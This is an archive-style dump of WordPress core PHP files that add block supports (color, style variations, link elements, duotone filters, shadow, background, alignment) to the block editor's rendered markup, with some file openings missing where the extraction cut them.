$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type ); } } $variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector ); // Remove any potentially unsafe styles. $theme_json_shape = WP_Theme_JSON::remove_insecure_properties( array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => $block_settings, ) ); $theme_json_object = new WP_Theme_JSON( $theme_json_shape ); $styles = ''; // include preset css variables declaration on the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'variables' ), null, array( 'root_selector' => $variables_root_selector, 'scope' => $class_name, ) ); // include preset css classes on the the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'presets' ), null, array( 'root_selector' => $class_name . ',' . $class_name . ' *', 'scope' => $class_name, ) ); if ( ! empty( $styles ) ) { wp_enqueue_block_support_styles( $styles ); } return null; } add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 ); add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 ); block-supports/colors.php000064400000013250147177035020011554 0ustar00supports, array( 'color' ), false ); } $has_text_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) ); $has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) ); $has_gradients_support = _wp_array_get( $color_support, array( 'gradients' ), false ); $has_link_colors_support = _wp_array_get( $color_support, array( 'link' ), false ); $has_color_support = $has_text_colors_support || $has_background_colors_support || $has_gradients_support || $has_link_colors_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) { $block_type->attributes['backgroundColor'] = array( 'type' => 'string', ); } if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) { $block_type->attributes['textColor'] = array( 'type' => 'string', ); } if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) { $block_type->attributes['gradient'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for colors to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * * @return array Colors CSS classes and inline styles. */ function wp_apply_colors_support( $block_type, $block_attributes ) { $color_support = _wp_array_get( $block_type->supports, array( 'color' ), false ); if ( is_array( $color_support ) && wp_should_skip_block_supports_serialization( $block_type, 'color' ) ) { return array(); } $has_text_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) ); $has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) ); $has_gradients_support = _wp_array_get( $color_support, array( 'gradients' ), false ); $classes = array(); $styles = array(); // Text colors. // Check support for text colors. if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) { $has_named_text_color = array_key_exists( 'textColor', $block_attributes ); $has_custom_text_color = isset( $block_attributes['style']['color']['text'] ); // Apply required generic class. if ( $has_custom_text_color || $has_named_text_color ) { $classes[] = 'has-text-color'; } // Apply color class or inline style. if ( $has_named_text_color ) { $classes[] = sprintf( 'has-%s-color', _wp_to_kebab_case( $block_attributes['textColor'] ) ); } elseif ( $has_custom_text_color ) { $styles[] = sprintf( 'color: %s;', $block_attributes['style']['color']['text'] ); } } // Background colors. if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) { $has_named_background_color = array_key_exists( 'backgroundColor', $block_attributes ); $has_custom_background_color = isset( $block_attributes['style']['color']['background'] ); // Apply required background class. if ( $has_custom_background_color || $has_named_background_color ) { $classes[] = 'has-background'; } // Apply background color classes or styles. if ( $has_named_background_color ) { $classes[] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $block_attributes['backgroundColor'] ) ); } elseif ( $has_custom_background_color ) { $styles[] = sprintf( 'background-color: %s;', $block_attributes['style']['color']['background'] ); } } // Gradients. if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) { $has_named_gradient = array_key_exists( 'gradient', $block_attributes ); $has_custom_gradient = isset( $block_attributes['style']['color']['gradient'] ); if ( $has_named_gradient || $has_custom_gradient ) { $classes[] = 'has-background'; } // Apply required background class. if ( $has_named_gradient ) { $classes[] = sprintf( 'has-%s-gradient-background', _wp_to_kebab_case( $block_attributes['gradient'] ) ); } elseif ( $has_custom_gradient ) { $styles[] = sprintf( 'background: %s;', $block_attributes['style']['color']['gradient'] ); } } $attributes = array(); if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } if ( ! empty( $styles ) ) { $attributes['style'] = implode( ' ', $styles ); } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'colors', array( 'register_attribute' => 'wp_register_colors_support', 'apply' => 'wp_apply_colors_support', ) ); block-supports/block-style-variations.php000064400000022310147177035020014655 0ustar00 &$value ) { // Only need to potentially process arrays. if ( is_array( $value ) ) { // If ref value is set, attempt to find its matching value and update it. if ( array_key_exists( 'ref', $value ) ) { // Clean up any invalid ref value. if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) { unset( $variation_data[ $key ] ); } $value_path = explode( '.', $value['ref'] ?? '' ); $ref_value = _wp_array_get( $theme_json, $value_path ); // Only update the current value if the referenced path matched a value. if ( null === $ref_value ) { unset( $variation_data[ $key ] ); } else { $value = $ref_value; } } else { // Recursively look for ref instances. wp_resolve_block_style_variation_ref_values( $value, $theme_json ); } } } } /** * Render the block style variation's styles. * * In the case of nested blocks with variations applied, we want the parent * variation's styles to be rendered before their descendants. This solves the * issue of a block type being styled in both the parent and descendant: we want * the descendant style to take priority, and this is done by loading it after, * in the DOM order. This is why the variation stylesheet generation is in a * different filter. * * @since 6.6.0 * @access private * * @param array $parsed_block The parsed block. * * @return array The parsed block with block style variation classname added. */ function wp_render_block_style_variation_support_styles( $parsed_block ) { $classes = $parsed_block['attrs']['className'] ?? null; $variations = wp_get_block_style_variation_name_from_class( $classes ); if ( ! $variations ) { return $parsed_block; } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $theme_json = $tree->get_raw_data(); // Only the first block style variation with data is supported. $variation_data = array(); foreach ( $variations as $variation ) { $variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array(); if ( ! empty( $variation_data ) ) { break; } } if ( empty( $variation_data ) ) { return $parsed_block; } /* * Recursively resolve any ref values with the appropriate value within the * theme_json data. */ wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json ); $variation_instance = wp_unique_id( $variation . '--' ); $class_name = "is-style-$variation_instance"; $updated_class_name = $parsed_block['attrs']['className'] . " $class_name"; /* * Even though block style variations are effectively theme.json partials, * they can't be processed completely as though they are. * * Block styles support custom selectors to direct specific types of styles * to inner elements. For example, borders on Image block's get applied to * the inner `img` element rather than the wrapping `figure`. * * The following relocates the "root" block style variation styles to * under an appropriate blocks property to leverage the preexisting style * generation for simple block style variations. This way they get the * custom selectors they need. * * The inner elements and block styles for the variation itself are * still included at the top level but scoped by the variation's selector * when the stylesheet is generated. */ $elements_data = $variation_data['elements'] ?? array(); $blocks_data = $variation_data['blocks'] ?? array(); unset( $variation_data['elements'] ); unset( $variation_data['blocks'] ); _wp_array_set( $blocks_data, array( $parsed_block['blockName'], 'variations', $variation_instance ), $variation_data ); $config = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'styles' => array( 'elements' => $elements_data, 'blocks' => $blocks_data, ), ); // Turn off filter that excludes block nodes. They are needed here for the variation's inner block types. if ( ! is_admin() ) { remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } // Temporarily prevent variation instance from being sanitized while processing theme.json. $styles_registry = WP_Block_Styles_Registry::get_instance(); $styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) ); $variation_theme_json = new WP_Theme_JSON( $config, 'blocks' ); $variation_styles = $variation_theme_json->get_stylesheet( array( 'styles' ), array( 'custom' ), array( 'include_block_style_variations' => true, 'skip_root_layout_styles' => true, 'scope' => ".$class_name", ) ); // Clean up temporary block style now instance styles have been processed. $styles_registry->unregister( $parsed_block['blockName'], $variation_instance ); // Restore filter that excludes block nodes. if ( ! is_admin() ) { add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } if ( empty( $variation_styles ) ) { return $parsed_block; } wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) ); wp_add_inline_style( 'block-style-variation-styles', $variation_styles ); /* * Add variation instance class name to block's className string so it can * be enforced in the block markup via render_block filter. */ _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); return $parsed_block; } /** * Ensure the variation block support class name generated and added to * block attributes in the `render_block_data` filter gets applied to the * block's markup. * * @see wp_render_block_style_variation_support_styles * * @since 6.6.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function wp_render_block_style_variation_class_name( $block_content, $block ) { if ( ! $block_content || empty( $block['attrs']['className'] ) ) { return $block_content; } /* * Matches a class prefixed by `is-style`, followed by the * variation slug, then `--`, and finally an instance number. */ preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches ); if ( empty( $matches ) ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { /* * Ensure the variation instance class name set in the * `render_block_data` filter is applied in markup. * See `wp_render_block_style_variation_support_styles`. */ $tags->add_class( $matches[0] ); } return $tags->get_updated_html(); } /** * Enqueues styles for block style variations. * * @since 6.6.0 * @access private */ function wp_enqueue_block_style_variation_styles() { wp_enqueue_style( 'block-style-variation-styles' ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'block-style-variation', array() ); add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 ); add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 ); /** * Registers block style variations read in from theme.json partials. * * @since 6.6.0 * @access private * * @param array $variations Shared block style variations. */ function wp_register_block_style_variations_from_theme_json_partials( $variations ) { if ( empty( $variations ) ) { return; } $registry = WP_Block_Styles_Registry::get_instance(); foreach ( $variations as $variation ) { if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) { continue; } $variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] ); $variation_label = $variation['title'] ?? $variation_name; foreach ( $variation['blockTypes'] as $block_type ) { $registered_styles = $registry->get_registered_styles_for_block( $block_type ); // Register block style variation if it hasn't already been registered. if ( ! array_key_exists( $variation_name, $registered_styles ) ) { register_block_style( $block_type, array( 'name' => $variation_name, 'label' => $variation_label, ) ); } } } } block-supports/elements.php000064400000010722147177035020012070 0ustar00get_registered( $block['blockName'] ); $skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ); if ( $skip_link_color_serialization ) { return $block_content; } $link_color = null; if ( ! empty( $block['attrs'] ) ) { $link_color = _wp_array_get( $block['attrs'], array( 'style', 'elements', 'link', 'color', 'text' ), null ); } /* * For now we only care about link color. * This code in the future when we have a public API * should take advantage of WP_Theme_JSON::compute_style_properties * and work for any element and style. */ if ( null === $link_color ) { return $block_content; } $class_name = wp_get_elements_class_name( $block ); // Like the layout hook this assumes the hook only applies to blocks with a single wrapper. // Retrieve the opening tag of the first HTML element. $html_element_matches = array(); preg_match( '/<[^>]+>/', $block_content, $html_element_matches, PREG_OFFSET_CAPTURE ); $first_element = $html_element_matches[0][0]; // If the first HTML element has a class attribute just add the new class // as we do on layout and duotone. if ( strpos( $first_element, 'class="' ) !== false ) { $content = preg_replace( '/' . preg_quote( 'class="', '/' ) . '/', 'class="' . $class_name . ' ', $block_content, 1 ); } else { // If the first HTML element has no class attribute we should inject the attribute before the attribute at the end. $first_element_offset = $html_element_matches[0][1]; $content = substr_replace( $block_content, ' class="' . $class_name . '"', $first_element_offset + strlen( $first_element ) - 1, 0 ); } return $content; } /** * Render the elements stylesheet. * * In the case of nested blocks we want the parent element styles to be rendered before their descendants. * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant: * we want the descendant style to take priority, and this is done by loading it after, in DOM order. * * @since 6.0.0 * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * * @return null */ function wp_render_elements_support_styles( $pre_render, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ); if ( $skip_link_color_serialization ) { return null; } $link_color = null; if ( ! empty( $block['attrs'] ) ) { $link_color = _wp_array_get( $block['attrs'], array( 'style', 'elements', 'link', 'color', 'text' ), null ); } /* * For now we only care about link color. * This code in the future when we have a public API * should take advantage of WP_Theme_JSON::compute_style_properties * and work for any element and style. */ if ( null === $link_color ) { return null; } $class_name = wp_get_elements_class_name( $block ); if ( strpos( $link_color, 'var:preset|color|' ) !== false ) { // Get the name from the string and add proper styles. $index_to_splice = strrpos( $link_color, '|' ) + 1; $link_color_name = substr( $link_color, $index_to_splice ); $link_color = "var(--wp--preset--color--$link_color_name)"; } $link_color_declaration = esc_html( safecss_filter_attr( "color: $link_color" ) ); $style = ".$class_name a{" . $link_color_declaration . ';}'; wp_enqueue_block_support_styles( $style ); return null; } add_filter( 'render_block', 'wp_render_elements_support', 10, 2 ); add_filter( 'pre_render_block', 'wp_render_elements_support_styles', 10, 2 ); block-supports/duotone.php000064400000037012147177035020011732 0ustar00= 0 && $n <= 1 ) { return $n; } } return 1; } /** * Rounds and converts values of an RGB object. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @see https://github.com/bgrins/TinyColor * * @since 5.8.0 * @access private * * @param array $rgb_color RGB object. * @return array Rounded and converted RGB object. */ function wp_tinycolor_rgb_to_rgb( $rgb_color ) { return array( 'r' => wp_tinycolor_bound01( $rgb_color['r'], 255 ) * 255, 'g' => wp_tinycolor_bound01( $rgb_color['g'], 255 ) * 255, 'b' => wp_tinycolor_bound01( $rgb_color['b'], 255 ) * 255, ); } /** * Helper function for hsl to rgb conversion. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @see https://github.com/bgrins/TinyColor * * @since 5.8.0 * @access private * * @param float $p first component. * @param float $q second component. * @param float $t third component. * @return float R, G, or B component. */ function wp_tinycolor_hue_to_rgb( $p, $q, $t ) { if ( $t < 0 ) { $t += 1; } if ( $t > 1 ) { $t -= 1; } if ( $t < 1 / 6 ) { return $p + ( $q - $p ) * 6 * $t; } if ( $t < 1 / 2 ) { return $q; } if ( $t < 2 / 3 ) { return $p + ( $q - $p ) * ( 2 / 3 - $t ) * 6; } return $p; } /** * Converts an HSL object to an RGB object with converted and rounded values. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @see https://github.com/bgrins/TinyColor * * @since 5.8.0 * @access private * * @param array $hsl_color HSL object. * @return array Rounded and converted RGB object. */ function wp_tinycolor_hsl_to_rgb( $hsl_color ) { $h = wp_tinycolor_bound01( $hsl_color['h'], 360 ); $s = wp_tinycolor_bound01( $hsl_color['s'], 100 ); $l = wp_tinycolor_bound01( $hsl_color['l'], 100 ); if ( 0 === $s ) { // Achromatic. $r = $l; $g = $l; $b = $l; } else { $q = $l < 0.5 ? $l * ( 1 + $s ) : $l + $s - $l * $s; $p = 2 * $l - $q; $r = wp_tinycolor_hue_to_rgb( $p, $q, $h + 1 / 3 ); $g = wp_tinycolor_hue_to_rgb( $p, $q, $h ); $b = wp_tinycolor_hue_to_rgb( $p, $q, $h - 1 / 3 ); } return array( 'r' => $r * 255, 'g' => $g * 255, 'b' => $b * 255, ); } /** * Parses hex, hsl, and rgb CSS strings using the same regex as TinyColor v1.4.2 * used in the JavaScript. Only colors output from react-color are implemented. * * Direct port of TinyColor's function, lightly simplified to maintain * consistency with TinyColor. * * @see https://github.com/bgrins/TinyColor * @see https://github.com/casesandberg/react-color/ * * @since 5.8.0 * @since 5.9.0 Added alpha processing. * @access private * * @param string $color_str CSS color string. * @return array RGB object. */ function wp_tinycolor_string_to_rgb( $color_str ) { $color_str = strtolower( trim( $color_str ) ); $css_integer = '[-\\+]?\\d+%?'; $css_number = '[-\\+]?\\d*\\.\\d+%?'; $css_unit = '(?:' . $css_number . ')|(?:' . $css_integer . ')'; $permissive_match3 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?'; $permissive_match4 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?'; $rgb_regexp = '/^rgb' . $permissive_match3 . '$/'; if ( preg_match( $rgb_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => $match[1], 'g' => $match[2], 'b' => $match[3], ) ); $rgb['a'] = 1; return $rgb; } $rgba_regexp = '/^rgba' . $permissive_match4 . '$/'; if ( preg_match( $rgba_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => $match[1], 'g' => $match[2], 'b' => $match[3], ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] ); return $rgb; } $hsl_regexp = '/^hsl' . $permissive_match3 . '$/'; if ( preg_match( $hsl_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_hsl_to_rgb( array( 'h' => $match[1], 's' => $match[2], 'l' => $match[3], ) ); $rgb['a'] = 1; return $rgb; } $hsla_regexp = '/^hsla' . $permissive_match4 . '$/'; if ( preg_match( $hsla_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_hsl_to_rgb( array( 'h' => $match[1], 's' => $match[2], 'l' => $match[3], ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] ); return $rgb; } $hex8_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/'; if ( preg_match( $hex8_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1], 16, 10 ), 'g' => base_convert( $match[2], 16, 10 ), 'b' => base_convert( $match[3], 16, 10 ), ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( base_convert( $match[4], 16, 10 ) / 255 ); return $rgb; } $hex6_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/'; if ( preg_match( $hex6_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1], 16, 10 ), 'g' => base_convert( $match[2], 16, 10 ), 'b' => base_convert( $match[3], 16, 10 ), ) ); $rgb['a'] = 1; return $rgb; } $hex4_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/'; if ( preg_match( $hex4_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1] . $match[1], 16, 10 ), 'g' => base_convert( $match[2] . $match[2], 16, 10 ), 'b' => base_convert( $match[3] . $match[3], 16, 10 ), ) ); $rgb['a'] = _wp_tinycolor_bound_alpha( base_convert( $match[4] . $match[4], 16, 10 ) / 255 ); return $rgb; } $hex3_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/'; if ( preg_match( $hex3_regexp, $color_str, $match ) ) { $rgb = wp_tinycolor_rgb_to_rgb( array( 'r' => base_convert( $match[1] . $match[1], 16, 10 ), 'g' => base_convert( $match[2] . $match[2], 16, 10 ), 'b' => base_convert( $match[3] . $match[3], 16, 10 ), ) ); $rgb['a'] = 1; return $rgb; } /* * The JS color picker considers the string "transparent" to be a hex value, * so we need to handle it here as a special case. */ if ( 'transparent' === $color_str ) { return array( 'r' => 0, 'g' => 0, 'b' => 0, 'a' => 0, ); } } /** * Returns the prefixed id for the duotone filter for use as a CSS id. * * @since 5.9.1 * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone filter CSS id. */ function wp_get_duotone_filter_id( $preset ) { if ( ! isset( $preset['slug'] ) ) { return ''; } return 'wp-duotone-' . $preset['slug']; } /** * Returns the CSS filter property url to reference the rendered SVG. * * @since 5.9.0 * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone CSS filter property url value. */ function wp_get_duotone_filter_property( $preset ) { $filter_id = wp_get_duotone_filter_id( $preset ); return "url('#" . $filter_id . "')"; } /** * Returns the duotone filter SVG string for the preset. * * @since 5.9.1 * @access private * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone SVG filter. */ function wp_get_duotone_filter_svg( $preset ) { $filter_id = wp_get_duotone_filter_id( $preset ); $duotone_values = array( 'r' => array(), 'g' => array(), 'b' => array(), 'a' => array(), ); if ( ! isset( $preset['colors'] ) || ! is_array( $preset['colors'] ) ) { $preset['colors'] = array(); } foreach ( $preset['colors'] as $color_str ) { $color = wp_tinycolor_string_to_rgb( $color_str ); $duotone_values['r'][] = $color['r'] / 255; $duotone_values['g'][] = $color['g'] / 255; $duotone_values['b'][] = $color['b'] / 255; $duotone_values['a'][] = $color['a']; } ob_start(); ?> <', $svg ); $svg = trim( $svg ); } return $svg; } /** * Registers the style and colors block attributes for block types that support it. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_duotone_support( $block_type ) { $has_duotone_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_duotone_support = _wp_array_get( $block_type->supports, array( 'color', '__experimentalDuotone' ), false ); } if ( $has_duotone_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } } /** * Render out the duotone stylesheet and SVG. * * @since 5.8.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_duotone_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $duotone_support = false; if ( $block_type && property_exists( $block_type, 'supports' ) ) { $duotone_support = _wp_array_get( $block_type->supports, array( 'color', '__experimentalDuotone' ), false ); } $has_duotone_attribute = isset( $block['attrs']['style']['color']['duotone'] ); if ( ! $duotone_support || ! $has_duotone_attribute ) { return $block_content; } $filter_preset = array( 'slug' => wp_unique_id( sanitize_key( implode( '-', $block['attrs']['style']['color']['duotone'] ) . '-' ) ), 'colors' => $block['attrs']['style']['color']['duotone'], ); $filter_property = wp_get_duotone_filter_property( $filter_preset ); $filter_id = wp_get_duotone_filter_id( $filter_preset ); $filter_svg = wp_get_duotone_filter_svg( $filter_preset ); $scope = '.' . $filter_id; $selectors = explode( ',', $duotone_support ); $scoped = array(); foreach ( $selectors as $sel ) { $scoped[] = $scope . ' ' . trim( $sel ); } $selector = implode( ', ', $scoped ); // !important is needed because these styles render before global styles, // and they should be overriding the duotone filters set by global styles. $filter_style = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? $selector . " {\n\tfilter: " . $filter_property . " !important;\n}\n" : $selector . '{filter:' . $filter_property . ' !important;}'; wp_register_style( $filter_id, false, array(), true, true ); wp_add_inline_style( $filter_id, $filter_style ); wp_enqueue_style( $filter_id ); add_action( 'wp_footer', static function () use ( $filter_svg, $selector ) { echo $filter_svg; /* * Safari renders elements incorrectly on first paint when the SVG * filter comes after the content that it is filtering, so we force * a repaint with a WebKit hack which solves the issue. */ global $is_safari; if ( $is_safari ) { printf( // Simply accessing el.offsetHeight flushes layout and style // changes in WebKit without having to wait for setTimeout. '', wp_json_encode( $selector ) ); } } ); // Like the layout hook, this assumes the hook only applies to blocks with a single wrapper. return preg_replace( '/' . preg_quote( 'class="', '/' ) . '/', 'class="' . $filter_id . ' ', $block_content, 1 ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'duotone', array( 'register_attribute' => 'wp_register_duotone_support', ) ); add_filter( 'render_block', 'wp_render_duotone_support', 10, 2 ); block-supports/shadow.php000064400000004055147177035020011543 0ustar00attributes ) { $block_type->attributes = array(); } if ( array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( array_key_exists( 'shadow', $block_type->attributes ) ) { $block_type->attributes['shadow'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for shadow features to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 6.3.0 * @since 6.6.0 Return early if __experimentalSkipSerialization is true. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Shadow CSS classes and inline styles. */ function wp_apply_shadow_support( $block_type, $block_attributes ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support || wp_should_skip_block_supports_serialization( $block_type, 'shadow' ) ) { return array(); } $shadow_block_styles = array(); $custom_shadow = $block_attributes['style']['shadow'] ?? null; $shadow_block_styles['shadow'] = $custom_shadow; $attributes = array(); $styles = wp_style_engine_get_styles( $shadow_block_styles ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'shadow', array( 'register_attribute' => 'wp_register_shadow_support', 'apply' => 'wp_apply_shadow_support', ) ); block-supports/background.php000064400000010023147177035020012365 0ustar00attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_background_support = block_has_support( $block_type, array( 'background' ), false ); if ( $has_background_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders the background styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.4.0 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output. * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default. * @since 6.7.0 Added support for `backgroundAttachment` output. * * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_background_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false ); if ( ! $has_background_image_support || wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) || ! isset( $block_attributes['style']['background'] ) ) { return $block_content; } $background_styles = array(); $background_styles['backgroundImage'] = $block_attributes['style']['background']['backgroundImage'] ?? null; $background_styles['backgroundSize'] = $block_attributes['style']['background']['backgroundSize'] ?? null; $background_styles['backgroundPosition'] = $block_attributes['style']['background']['backgroundPosition'] ?? null; $background_styles['backgroundRepeat'] = $block_attributes['style']['background']['backgroundRepeat'] ?? null; $background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null; if ( ! empty( $background_styles['backgroundImage'] ) ) { $background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover'; // If the background size is set to `contain` and no position is set, set the position to `center`. if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) { $background_styles['backgroundPosition'] = '50% 50%'; } } $styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject background styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); $updated_style = ''; if ( ! empty( $existing_style ) ) { $updated_style = $existing_style; if ( ! str_ends_with( $existing_style, ';' ) ) { $updated_style .= ';'; } } $updated_style .= $styles['css']; $tags->set_attribute( 'style', $updated_style ); $tags->add_class( 'has-background' ); } return $tags->get_updated_html(); } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'background', array( 'register_attribute' => 'wp_register_background_support', ) ); add_filter( 'render_block', 'wp_render_background_support', 10, 2 ); block-supports/utils.php000064400000001766147177035020011424 0ustar00supports, $path, false ); if ( is_array( $skip_serialization ) ) { return in_array( $feature, $skip_serialization, true ); } return $skip_serialization; } block-supports/generated-classname.php000064400000003353147177035020014160 0ustar00name ); if ( $block_classname ) { $attributes['class'] = $block_classname; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'generated-classname', array( 'apply' => 'wp_apply_generated_classname_support', ) ); block-supports/align.php000064400000003276147177035020011354 0ustar00attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'align', $block_type->attributes ) ) { $block_type->attributes['align'] = array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ), ); } } } /** * Adds CSS classes for block alignment to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block alignment CSS classes and inline styles. */ function wp_apply_alignment_support( $block_type, $block_attributes ) { $attributes = array(); $has_align_support = block_has_support( $block_type, array( 'align' ), false ); if ( $has_align_support ) { $has_block_alignment = array_key_exists( 'align', $block_attributes ); if ( $has_block_alignment ) { $attributes['class'] = sprintf( 'align%s', $block_attributes['align'] ); } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'align', array( 'register_attribute' => 'wp_register_alignment_support', 'apply' => 'wp_apply_alignment_support', ) ); 